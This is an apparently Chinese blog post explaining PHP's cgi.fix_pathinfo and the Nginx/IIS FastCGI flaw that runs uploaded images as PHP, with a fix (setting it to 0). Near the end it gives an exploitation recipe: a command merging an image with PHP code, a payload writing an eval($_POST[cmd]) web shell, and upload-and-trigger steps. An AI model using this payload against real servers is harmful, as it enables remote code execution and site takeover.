PHP里經常要獲取當前請求的URL路徑信息。一般可以通過環境變量$_SERVER[‘PATH_INFO’]獲取,而配置文件中的cgi.fix_pathinifo選項則與這個值的獲取相關。而$_SERVER[‘PATH_INFO’]中的key PATH_INFO是一個CGI 1.1的標準,經常用來做為傳遞參數給后端的CGI服務器。
被很多系統用來優化url路徑格式,比如對于很多框架,下面這個網址:
http://www.xxx.com/index.php/test/my.HTML?c=index&m=search
我們可以得到
$_SERVER[‘PATH_INFO’] = ‘/test/my.html’
$_SERVER[‘QUERY_STRING’] = ‘c=index&m=search’;
我們再說下php.ini中的配置參數cgi.fix_pathinfo,它是用來對設置cgi模式下為php是否提供絕對路徑信息或PATH_INFO信息。沒有這個參數之前PHP設置絕對路徑PATH_TRANSLATED的值為SCRIPT_FILENAME,沒有PATH_INFO值。設置cgi.fix_pathinfo=1后,cgi設置完整的路徑信息PATH_TRANSLATED的值為SCRIPT_FILENAME,并且設置PATH_INFO信息;如果設為cgi.fix_pathinfo=0則只設置絕對路徑PATH_TRANSLATED的值為SCRIPT_FILENAME。cgi.fix_pathinfo的默認值是1。
nginx默認是不會設置PATH_INFO環境變量的的值,需要通過正則匹配設置SCRIPT_FILENAME,但這樣會帶來安全隱患,需要把cgi.fix_pathinfo=0設置為0。但是一旦關閉這個這場,PHP就獲取不到PATH_INFO信息,那些依賴PATH_INFO進行URL美化的程序就失效了。
現在普遍的Nginx + PHP cgi的做法是在配置文件中, 通過正則匹配(Nginx(PHP/fastcgi)的PATH_INFO問題)設置SCRIPT_FILENAME, 今天發現了一個這種方式的安全漏洞.
比如, 有http://www.xxx.com/fake.jpg, 那么通過構造如下的URL, 就可以看到fake.jpg的二進制內容:
http://www.xxx.com/fake.jpg/foo.php
為什么會這樣呢?
比如, 如下的nginx conf:
location ~ \.php($|/) { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; set $script $uri; set $path_info ""; if ($uri ~ "^(.+\.php)(/.*)") { set $script $1; set $path_info $2; } include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$script; fastcgi_param SCRIPT_NAME $script; fastcgi_param PATH_INFO $path_info; }
通過正則匹配以后, SCRIPT_NAME會被設置為"fake.jpg/foo.php", 繼而構造成SCRIPT_FILENAME傳遞個PHP CGI, 但是PHP又為什么會接受這樣的參數, 并且把a.jpg解析呢?
這就要說到PHP的cgi SAPI中的參數, fix_pathinfo了:
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting ; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED. cgi.fix_pathinfo=1
如果開啟了這個選項, 那么就會觸發在PHP中的如下邏輯:
/* * if the file doesn't exist, try to extract PATH_INFO out * of it by stat'ing back through the '/' * this fixes url's like /info.php/test */ if (script_path_translated && (script_path_translated_len = strlen(script_path_translated)) > 0 && (script_path_translated[script_path_translated_len-1] == '/' || ....//以下省略.
到這里, PHP會認為SCRIPT_FILENAME是fake.jpg, 而foo.php是PATH_INFO, 然后PHP就把fake.jpg當作一個PHP文件來解釋執行... So...
這個隱患的危害是巨大的.
對于一些論壇來說, 如果上傳一個圖片(實際上是惡意的PHP腳本), 繼而構造這樣的訪問請求...
所以, 大家如果有用這種服務器搭配的, 請排查, 如果有隱患, 請關閉fix_pathinfo(默認是開啟的).
打到php.ini文件,做如下修改:
cgi.fix_pathinfo=0
IIS7/7.5在Fast-CGI運行模式下,在一個文件路徑(/xx.jpg)后面加上/xx.php會將/xx.jpg/xx.php 解析為 php 文件。
常用利用方法:將一張圖和一個寫入后門代碼的文本文件合并將惡意文本寫入圖片的二進制代碼之后,避免破壞圖片文件頭和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二進制[binary]模式
/a 即ascii模式 xx.jpg正常圖片文件
yy.txt 內容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件
######################################
找個地方上傳 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可執行惡意文本。
然后就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd
注意:
該解析漏洞利用需這個條件:
php.ini里cgi.fix_pathinfo=1(默認為1)
解決方案:
配置cgi.pathinfo(php.ini中)為0并重啟php-cgi程序
如對本文有疑問,請提交到交流論壇,廣大熱心網友會為你解答??! 點擊進入論壇